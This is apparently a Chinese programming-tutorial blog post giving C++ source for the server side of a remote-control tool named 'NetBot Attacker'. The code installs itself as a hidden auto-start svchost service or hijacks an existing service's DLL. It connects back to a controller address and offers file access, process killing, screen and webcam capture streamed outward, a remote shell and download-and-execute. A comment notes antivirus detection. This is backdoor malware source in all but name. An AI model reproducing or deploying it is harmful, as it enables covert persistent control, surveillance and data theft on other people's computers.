zoukankan      html  css  js  c++  java
  • 基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

    Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。

    安装Windows服务代码如下

    #include "stdafx.h"
    //#include <windows.h>
    #include "InstallService.h"
    #include <winsvc.h>
    
    BOOL StartService(LPCTSTR lpService)
    {
    	SC_HANDLE        schSCManager;
    	SC_HANDLE        schService;
    	SERVICE_STATUS   ServiceStatus;
    	DWORD            dwErrorCode;
    
    	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
    	if (schSCManager!=NULL)
    	{
    		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
    		if (schService!=NULL)
    		{
    			//设置服务为自动启动
    			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
    				NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    
    			if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                        
    			{
    				dwErrorCode=GetLastError();
    				if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
    				{
    					CloseServiceHandle(schSCManager);  
    					CloseServiceHandle(schService);
    					return true;
    				}
    			}
    			while(QueryServiceStatus(schService,&ServiceStatus)!=0)           
    			{
    				if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
    				{
    					Sleep(100);
    				}
    				else
    				{
    					break;
    				}
    			}
    			CloseServiceHandle(schService);
    		}
    		CloseServiceHandle(schSCManager);
    	}
    	else
    		return FALSE;
    
    	return TRUE;
    }
    
    BOOL StopService(LPCTSTR lpService)
    {
    	SC_HANDLE        schSCManager;
    	SC_HANDLE        schService;
    	SERVICE_STATUS   RemoveServiceStatus;
    
    	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
    	if (schSCManager!=NULL)
    	{
    		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
    		if (schService!=NULL)
    		{
    			//设置服务为禁用
    			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
    				NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    
    			if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
    			{
    				if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
    				{
    					if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
    					{
    						while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
    						{
    							Sleep(10);
    							QueryServiceStatus(schService,&RemoveServiceStatus);
    						}
    					}
    				}
    			}    
    			CloseServiceHandle(schService);
    		}	
    		::CloseServiceHandle(schSCManager);
    	}
    	else 
    		return FALSE;
    
    	return TRUE;
    }
    
    BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
    {
    	int rc = 0;
    	HKEY hKey = 0;
    	BOOL bRet = FALSE;
    	char szOpenKey[MAX_PATH];
    
    	try
    	{
    		//暂停服务
    		StopService(lpService);
    
    		//修改dll指向
    		ZeroMemory(szOpenKey,sizeof(szOpenKey));
    		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
            rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
            if(ERROR_SUCCESS != rc) throw "";
    
            rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
            SetLastError(rc);
    		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
    		
    		//运行服务
    		bRet = StartService(lpService);
    	}
    	catch(char *str)
    	{
    		if(str && str[0])
            {
                rc = GetLastError();
            }
    	}
    	
    	RegCloseKey(hKey);
    
    	return bRet;
    }
    
    BOOL InstallSvchostService(LPCSTR strServiceName, 
    					       LPCSTR strDisplayName, 
    					       LPCSTR strDescription,
    					       LPCSTR strDllPath)
    {
    	int rc = 0;
    	HKEY hKey = 0;
    	BOOL bRet = FALSE;
    	char szOpenKey[MAX_PATH];
    	try
    	{
          bRet = InstallService(strServiceName,
                         strDisplayName,
    					 strDescription,
                         "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务
    
    		//修改dll指向
    		ZeroMemory(szOpenKey,sizeof(szOpenKey));
    		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
            //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
    		rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey); 
            if(ERROR_SUCCESS != rc) throw "";
    
            rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
            SetLastError(rc);
    		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
    		RegCloseKey(hKey);
    		//添加服务名到netsvcs组
    		ZeroMemory(szOpenKey,sizeof(szOpenKey));
    		strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
            rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
            if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
    		rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
            SetLastError(rc);
            if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
    		RegCloseKey(hKey);
    
    		bRet = StartService(strServiceName);
    	}
    	catch(char *str)
    	{
    		if(str && str[0])
            {
                rc = GetLastError();
            }
    	}
    	
    	RegCloseKey(hKey);
    
    	return bRet;
    }
    
    BOOL InstallService(LPCSTR strServiceName, 
    					LPCSTR strDisplayName, 
    					LPCSTR strDescription,
    					LPCSTR strPathName)
    {
    	BOOL bRet = FALSE;
    	HKEY key=NULL;
    	SC_HANDLE svc=NULL, scm=NULL;
    	__try
    	{
    		scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
    		if (!scm)
    			__leave;
    		svc = CreateService(
    			scm, 
    			strServiceName, 
    			strDisplayName,
    			SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
    			SERVICE_WIN32_OWN_PROCESS,
    			SERVICE_AUTO_START,
    			SERVICE_ERROR_IGNORE,
    			strPathName,
    			NULL, NULL, NULL, NULL, NULL);
    
    		if (svc == NULL)
    		{
    			if (GetLastError() == ERROR_SERVICE_EXISTS)
    			{
    				svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
    				if (svc==NULL)
    					__leave;
    				else
    					StartService(svc,0, 0);
    			}
    		}
    
    		char Desc[MAX_PATH];
    		wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
    		RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
    		RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));
    
    		if (!StartService(svc,0, 0))
    			__leave;
    
    		bRet = TRUE;
    	}
    	__finally
    	{
    		if (key!=NULL) 
    			RegCloseKey(key);
    		if (svc!=NULL)
    			CloseServiceHandle(svc);
    		if (scm!=NULL)
    			CloseServiceHandle(scm);
    	}
    
    	return bRet;
    }
    
    void UninstallService(LPCTSTR strServiceName)
    {
    	SC_HANDLE scm,svc;
    
    	scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    	if (scm!=NULL)
    	{
    		svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
    		if (svc!=NULL)
    		{
    			::DeleteService(svc);
    			::CloseServiceHandle(svc);
    		}
    		::CloseServiceHandle(scm);
    	}
    }
    

    如何实现远程控制的一些列功能呢,键盘,鼠标远程协助,文件上传下载,视频截获,桌面视频截获等等。

    请见代码与注释


     

    #include "stdafx.h"
    #include "svchost.h"
    #include <shlwapi.h>
    #include "../Seu_lib/Functions.h"
    #include "InstallService.h"
    #include "../Seu_lib/zconf.h"
    #include "../Seu_lib/zlib.h"
    #pragma comment(lib,"../Seu_lib/zlib.lib")	//图象无损数据压缩使用zlib库函数
    #pragma comment(lib,"shlwapi.lib")
    #pragma comment(linker,"/IGNORE:4078")
    #pragma comment(linker,"/OPT:NOWIN98")
    
    //#define NETBOT_TEST
    /////////////////////////////////////////////////////////////////////////////////////////////
    struct MODIFY_DATA 
    {
    	char  strIPFile[128];   //ip文件or DNS
    	char  strVersion[16];   //服务端版本
    	DWORD dwVipID;          //VIP ID
    	BOOL  bReplace;         //TRUE-替换服务,FALSE-新建服务
    	char  strSvrName[32];   //服务名称
    	char  strSvrDisp[100];  //服务显示
    	char  strSvrDesc[100];  //服务描述
    	char  ServerAddr[100];
    	int   ServerPort; 
    }modify_data = 
    {
    	"192.168.1.132:9000",
    	"080625",
    	62,
    	FALSE,
    	"NetBot",
    	"NetBot Attacker",
    	"NetBot Attacker",
    	" ",
    	8080,
    };
    
    HMODULE     g_hDllModule;
    
    unsigned long resolve(char *host)
    {
     long i;
     struct hostent *he;
    
     if((i=inet_addr(host))<0)
       if((he=(struct hostent*)gethostbyname(host))==NULL)//if((he=(struct hostent*)Ggethostbyname(host))==NULL)
         return(0);
       else
         return(*(unsigned long *)he->h_addr);
    
     return(i);
    }
    
    void GetIpAndPort()
    {
    	char html[256];					//获取的网页
    	char *point;					//指针
    	char port[12];
    	
    	memset(html,0,sizeof(html));
    
        if(strstr(modify_data.strIPFile,"http") == NULL)//不含HTTP,表示是IP/DNS上线
    	{
    		strcpy(html,"[");
    		strcat(html,modify_data.strIPFile);
    		strcat(html,"]");
    	}
    	else
    	{
    	    //获取网页内容
    	    for(;;)
    		{
    			lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile)));
    			if(strstr(html,"[")!=NULL)
    				break;
    		    else
    			    Sleep(10000);
    		}
    	}
    	//MessageBox(NULL,html,NULL,MB_OK);
    	//分离客户端ip和端口
    	point=html;
    	if(strstr(html,"[")!=NULL)
    	{
    		point=point+strlen("[");
    	}
    	if(strstr(point,":")!=NULL)
    	{
    	    memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr));
    		strncpy(modify_data.ServerAddr,point,strcspn(point,":"));
    		point=point+strcspn(point,":")+1;
    
    		if(strstr(point,"]")!=NULL)
    		{
    		    memset(port,0,sizeof(port));
    		    strncpy(port,point,strcspn(point,"]"));
    			modify_data.ServerPort = atoi(port);
    		}
    	}
    }
    
    DWORD _stdcall RuningThread(LPVOID lParam)
    {
    	WSADATA lpWSAData;
    	WSAStartup(MAKEWORD(2, 2), &lpWSAData);	
    
    	while(1)
    	{
    		GetIpAndPort();
    
    		HANDLE hThread = NULL;
    		hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL);
    		WaitForSingleObject(hThread, INFINITE);
    		CloseHandle(hThread);
    		
    		Sleep(10000);
    	}
    
    	WSACleanup();
    
    	return 0;
    }
    
    DWORD _stdcall ConnectThread(LPVOID lParam)
    {
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    
    	//连接的socket
    	SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0);
    
    	if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    		return 0;//connect error
    	else
    		TurnonKeepAlive(MainSocket, 75);
    	
    	SysInfo m_SysInfo;
    	GetSystemInfo(m_SysInfo);//获取系统信息
    	m_SysInfo.iVipID = modify_data.dwVipID;
    	m_SysInfo.bVideo = CVideoCap::IsWebCam();
    	lstrcpy(m_SysInfo.cVersion, modify_data.strVersion);
    	EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);//用产品ID号加密
    
    	//send socket type
    	MsgHead msgHead;
    	char    chBuffer[4096];
    
    	msgHead.dwCmd  = SOCKET_CONNECT;//填充消息
    	msgHead.dwSize = sizeof(SysInfo); 
    
    	memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));//填充被控端信息
    	
    	if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
    	{
    		closesocket(MainSocket);
    		return 1;//send socket type error
    	}
    
    	while(1)
    	{
    		//接收命令
    		if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
    		{//掉线,错误
    			shutdown(MainSocket,0x02);
    			closesocket(MainSocket);
    			break;
    		}
    
    		//解析命令
    		switch(msgHead.dwCmd)
    		{
    
    		case CMD_FILEMANAGE:
    			{
    				CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程
    			}
    			break;
    /*		case CMD_SCREENSTART:
    			{
    				//获取上线的socket==DWORD
    				DWORD dwSock = msgHead.dwExtend1;
    				CreateThread(NULL,NULL,ScreenThread,(LPVOID)dwSock,NULL,NULL);      //开一个屏幕传输的线程
    			}
    			break;
    		case CMD_PROCESSSTART:
    			{
    				CreateThread(NULL,NULL,ProcessThread,NULL,NULL,NULL);    //开一个进程管理的线程
    			}
    			break;
    		case CMD_SHELLSTART:
    			{
    				CreateThread(NULL,NULL,ShellThread,NULL,NULL,NULL);        //开一个远程Shell的线程
    			}
    			break;
    		case CMD_VIDEOSTART:
    			{
    				CreateThread(NULL,NULL,VideoThread,NULL,NULL,NULL);        //开一个视频捕捉的线程
    			}
    			break;
    		case CMD_HEARTBEAT://心跳包
    			{
    				//不处理这里,可以做计数,因为控制端基本也是定时发的
    			}
    			break;
    		case CMD_UNINSTALL://卸载
    			{
    				shutdown(MainSocket,0x02);
    				closesocket(MainSocket);			
    				lstrcpy(modify_data.strIPFile,"");
    
    				char szDllPath[MAX_PATH],szCmdLine[MAX_PATH];    
    				GetModuleFileName(g_hDllModule,szDllPath,MAX_PATH);
    				MoveFileEx(szDllPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
    				wsprintf(szCmdLine, "Rundll32 %s,RundllUninstall", szDllPath);
    				WinExec(szCmdLine, SW_HIDE);
    			}
    			break;
    		case CMD_POWEROFF://关机
    			{
    				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
    				ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
    			}
    			break;
    		case CMD_REBOOT://重启
    			{
    				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
    				ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
    			}
    			break;
    		case CMD_LOGOFF://注销
    			{
    				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
    				ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
    			}
    			break;
    		case CMD_DOWNEXEC://下载执行
    			{
    				char strUrl[256];
    				memset(strUrl, 0, 256);
    				lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
    				DownExec(strUrl);
    			}
    			break;
    		case CMD_OPENURL://打开网页
    			{
    				char strUrl[256];
    				memset(strUrl, 0, 256);
    				lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
    				OpenUrl(strUrl);
    			}
    			break;
    		case CMD_CTRLALTDEL:// Ctrl + Alt + del
    			{
    
    			}
    			break;
    		case CMD_KEYDOWN://WM_KEYDOWN 
    			{
    				XScreenXor OpenDesktop;
    				int nVirtKey = msgHead.dwExtend1;
    				keybd_event((BYTE)nVirtKey,0,0,0);
    			}
    			break;
    		case CMD_KEYUP://WM_KEYUP
    			{
    				XScreenXor OpenDesktop;
    				int nVirtKey = msgHead.dwExtend1;
    				keybd_event((BYTE)nVirtKey,0,KEYEVENTF_KEYUP,0);
    			}
    			break;
    		case CMD_MOUSEMOVE://WM_MOUSEMOVE
    			{
    				XScreenXor OpenDesktop;
    				POINT pt;
    				pt.x = msgHead.dwExtend1;
    				pt.y = msgHead.dwExtend2;
    				SetCursorPos(pt.x, pt.y);
    			}
    			break;
    		case CMD_LBUTTONDOWN://WM_LBUTTONDOWN
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    			}
    			break;
    		case CMD_LBUTTONUP://WM_LBUTTONUP
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    			}
    			break;
    		case CMD_LBUTTONDBLCLK://WM_LBUTTONDBLCLK
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    			}
    			break;
    		case CMD_RBUTTONDOWN://WM_RBUTTONDOWN  
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    			}
    			break;
    		case CMD_RBUTTONUP://WM_RBUTTONUP
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    			}
    			break;
    		case CMD_RBUTTONDBLCLK://WM_RBUTTONDBLCLK
    			{
    				XScreenXor OpenDesktop;
    				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    			}
    			break;
    	*/
    		default:
    		    break;
    		}
    	}
    
    	return 10;
    }
    
    //////////////////////////////////////////////////////////////////////////////////
    //文件管理线程
    DWORD _stdcall FileManageThread(LPVOID lParam)
    {
    	
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		closesocket(FileSocket);
    		return 0;//connect error
    	}
    
    	//================================================================================
    	MsgHead msgHead;
    	char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB
    
    	//send socket type 
    	msgHead.dwCmd = SOCKET_FILEMANAGE;
    	msgHead.dwSize = 0;
    	if(!SendMsg(FileSocket, chBuffer, &msgHead))
    	{
    		if(chBuffer != NULL)
    			delete []chBuffer;
    
    		closesocket(FileSocket);
    		return 0;//send socket type error
    	}
    
    	while(1)
    	{
    		//接收命令
    		if(!RecvMsg(FileSocket, chBuffer, &msgHead))
    			break;
    
    		//解析命令
    		switch(msgHead.dwCmd)
    		{
    			
    		case CMD_FILEDRIVER://获取驱动器
    			{
    				FileListDirver(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILEDIRECTORY://获取文件夹
    			{
    				FileListDirectory(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILEDELETE://删除
    			{
    				FileDelete(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILEEXEC://执行
    			{
    				FileExec(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILEPASTE://粘贴
    			{
    				FilePaste(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILERENAME://重命名
    			{
    				FileReName(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_FILEDOWNSTART://下载开始
    			{
    				FileOpt m_FileOpt;
    				memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
    				
    				if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
    					msgHead.dwCmd  = CMD_SUCCEED;
    				else
    					msgHead.dwCmd  = CMD_FAILED;
    				msgHead.dwSize = 0;
    			}
    			break;
    	/*	case CMD_FILEUPSTART://上传开始
    			{
    				FileOpt m_FileOpt;
    				memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
    				
    				if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
    					msgHead.dwCmd  = CMD_SUCCEED;
    				else
    					msgHead.dwCmd  = CMD_FAILED;
    				msgHead.dwSize = 0;
    			}
    			break;
    			*/
    		default:
    			{
    				msgHead.dwCmd = CMD_INVALID;
    				msgHead.dwSize = 0;
    			}
    		    break;
    		}
    
    		//发送数据
    		if(!SendMsg(FileSocket, chBuffer, &msgHead))
    			break;
    	}
    
    	if(chBuffer != NULL)
    		delete[] chBuffer;
    
    	closesocket(FileSocket);
    	
    	return 0;
    }
    ///////////////////////////////////////////////////////////////////////////////////
    DWORD _stdcall ScreenThread(LPVOID lParam)
    {
    	DWORD dwSock = (DWORD)lParam;
    
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	//屏幕监控的socket
    	SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		return 0;//connect error
    	}
    	else
    	{
    		//设置发送缓冲区,有利于屏幕传输
    		int rcvbuf = 65536; //64KB
    		int rcvbufsize=sizeof(int); 
    		setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize); 
    	}  
    	
    	//稍微降低进程优先级
    	SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL );
    	//=======================================================
    	MsgHead msgHead;
    	int nColor = 8;
    	//send socket type 
    	msgHead.dwCmd = SOCKET_SCREEN;
    	msgHead.dwSize = 0;
    	msgHead.dwExtend1 = dwSock;
    	if(!SendMsg(ScreenSocket, NULL, &msgHead) ||
    	   !RecvMsg(ScreenSocket, NULL, &msgHead) )//Get Screen Color
    	{
    		closesocket(ScreenSocket);
    		return 0;//send socket type error
    	}
    	else
    	{
    		nColor = msgHead.dwExtend1;
    	}
    
    	////////////////////////////////////////
    	XScreenXor m_ScreenXor;
    	m_ScreenXor.SetColor(nColor);//设置位图颜色
    	m_ScreenXor.InitGlobalVar();
    
    	msgHead.dwCmd = SOCKET_SCREEN;
    	msgHead.dwSize = 0;
    	msgHead.dwExtend1 = m_ScreenXor.GetBmpSize();
    	msgHead.dwExtend2 = m_ScreenXor.GetInfoSize();
    	//发送位图信息
    	if (!SendMsg(ScreenSocket, NULL, &msgHead))
    	{
    		closesocket(ScreenSocket);
    		return 0;//send socket type error	
    	}
    
    	DWORD dwFrameID = 0, dwLastSend;
    	BOOL  bNotStop = TRUE;
    	DWORD lenthUncompress = m_ScreenXor.GetBmpSize();
    	DWORD lenthCompress = (lenthUncompress+12)*1.1;
    	BYTE* pDataCompress = new BYTE [lenthCompress];
    
    	while( bNotStop )
    	{
    		dwLastSend = GetTickCount();
    
    		lenthCompress = (lenthUncompress+12)*1.1;                                   //这里不能少
    		m_ScreenXor.CaputreFrame(dwFrameID);                                        //抓取当前帧                           
    		Sleep(10);
    		::compress(pDataCompress,                                                  //压缩数据
    			&lenthCompress, 
    			m_ScreenXor.GetBmpData(),
    			lenthUncompress);
    
    		msgHead.dwCmd     = dwFrameID++;              //当前帧号
    		msgHead.dwSize    = lenthCompress;            //传输的数据长度
    		msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); //原始长度
    		msgHead.dwExtend2 = lenthCompress;            //压缩后长度
    		
    		bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead); //发送数据
    
    		if ((GetTickCount() - dwLastSend) < 110)
    			Sleep(100);
    	}
    
    	//释放掉掉分配的内存,句柄等等
    	closesocket(ScreenSocket);
    	delete [] pDataCompress;
    
    	return 0;
    }
    
    //////////////////////////////////////////////////////////////////////////////////
    //视频捕捉
    DWORD _stdcall VideoThread(LPVOID lParam)
    {
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	//视频捕捉的socket
    	SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		return 0;//connect error
    	}
    	else
    	{
    		//设置发送缓冲区,有利于视频传输
    		int rcvbuf = 65536; //64KB
    		int rcvbufsize=sizeof(int); 
    		setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize); 
    	}  
    
    	//==================================================================
    	MsgHead msgHead;
    	//send socket type 
    	msgHead.dwCmd = SOCKET_VIDEOCAP;
    	msgHead.dwSize = 0;
    	if(!SendMsg(VideoSocket, NULL, &msgHead))
    	{
    		closesocket(VideoSocket);
    		return 0;//send socket type error
    	}
    
    	///////////////////////////////////////////////
    	//Send BITMAPINFO or error code
    	if (!CVideoCap::IsWebCam())    //设备不存在或正在使用
    	{
    		msgHead.dwCmd = 1;
    		msgHead.dwSize = 0;
    		SendMsg(VideoSocket, NULL, &msgHead);
    		shutdown(VideoSocket,0x02);
    		closesocket(VideoSocket);
    		return 1;//send socket type error
    	}
    	
    	CVideoCap m_Cap;
    	if (!m_Cap.Initialize())   //设备初始化失败
    	{
    		msgHead.dwCmd = 2;
    		msgHead.dwSize = 0;
    		SendMsg(VideoSocket, NULL, &msgHead);
    		shutdown(VideoSocket,0x02);
    		closesocket(VideoSocket);
    		return 2;
    	}
    
    	msgHead.dwCmd  = 0;
    	msgHead.dwSize = sizeof(BITMAPINFOHEADER);
    	if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead))
    	{
    		closesocket(VideoSocket);
    		return 3;//send socket type error				
    	}
    
    	DWORD dwFrameID = 0,dwLastSend;
    	BOOL  bNotStop = TRUE;
    	DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;//为啥-5??
    	DWORD lenthCompress = (lenthUncompress+12)*1.1;
    	BYTE* pDataCompress = new BYTE [lenthCompress];
    
    	while (bNotStop)
    	{
    		dwLastSend = GetTickCount();//被卡巴杀
    
    		lenthCompress = (lenthUncompress+12)*1.1;                   //这个不能少
    		::compress(pDataCompress,                                   //压缩数据
    			&lenthCompress, 
    			(BYTE*)m_Cap.GetDIB(),
    			lenthUncompress);
    
    		msgHead.dwCmd     = dwFrameID++;            //帧号
    		msgHead.dwSize    = lenthCompress;          //传输的数据长度
    		msgHead.dwExtend1 = lenthUncompress;        //未压缩数据长度
    		msgHead.dwExtend2 = lenthCompress;          //压缩后数据长度
    		
    		bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead); //发送数据
    
    		if ((GetTickCount() - dwLastSend) < 100)
    			Sleep(80);
    	}
    
    	if (pDataCompress != NULL)
    		delete[] pDataCompress;
    
    	return 10;
    }
    
    /////////////////////////////////////////////////////////////////////////////////
    //进程管理线程
    DWORD _stdcall ProcessThread(LPVOID lParam)
    {
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		closesocket(ProcessSocket);
    		return 0;//connect error
    	}	
    
    	//================================================================================
    	MsgHead msgHead;
    	char    chBuffer[32 * 1024]; //数据交换区
    
    	//send socket type 
    	msgHead.dwCmd = SOCKET_PROCESS;
    	msgHead.dwSize = 0;
    	if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
    	{
    		closesocket(ProcessSocket);
    		return 0;//send socket type error
    	}
    
    	while(1)
    	{
    		//接收命令
    		if(!RecvMsg(ProcessSocket, chBuffer, &msgHead))
    			break;
    
    		//解析命令
    		switch(msgHead.dwCmd)
    		{
    		case CMD_PROCESSLIST:
    			{
    				ProcessList(chBuffer, &msgHead);
    			}
    			break;
    		case CMD_PROCESSKILL:
    			{
    				ProcessKill(chBuffer, &msgHead);
    			}
    			break;
    		default:
    			{
    				msgHead.dwCmd = CMD_INVALID;
    				msgHead.dwSize = 0;
    			}
    		    break;
    		}
    
    		//发送数据
    		if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
    			break;
    	}	
    	
    	closesocket(ProcessSocket);
    	return 0;
    }
    //////////////////////////////////////////////////////////////////////////////////
    //远程shell线程
    DWORD _stdcall ShellThread(LPVOID lParam)
    {
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		closesocket(ShellSocket);
    		return 0;//connect error
    	}
    
    	//====================================================================
    	MsgHead msgHead;
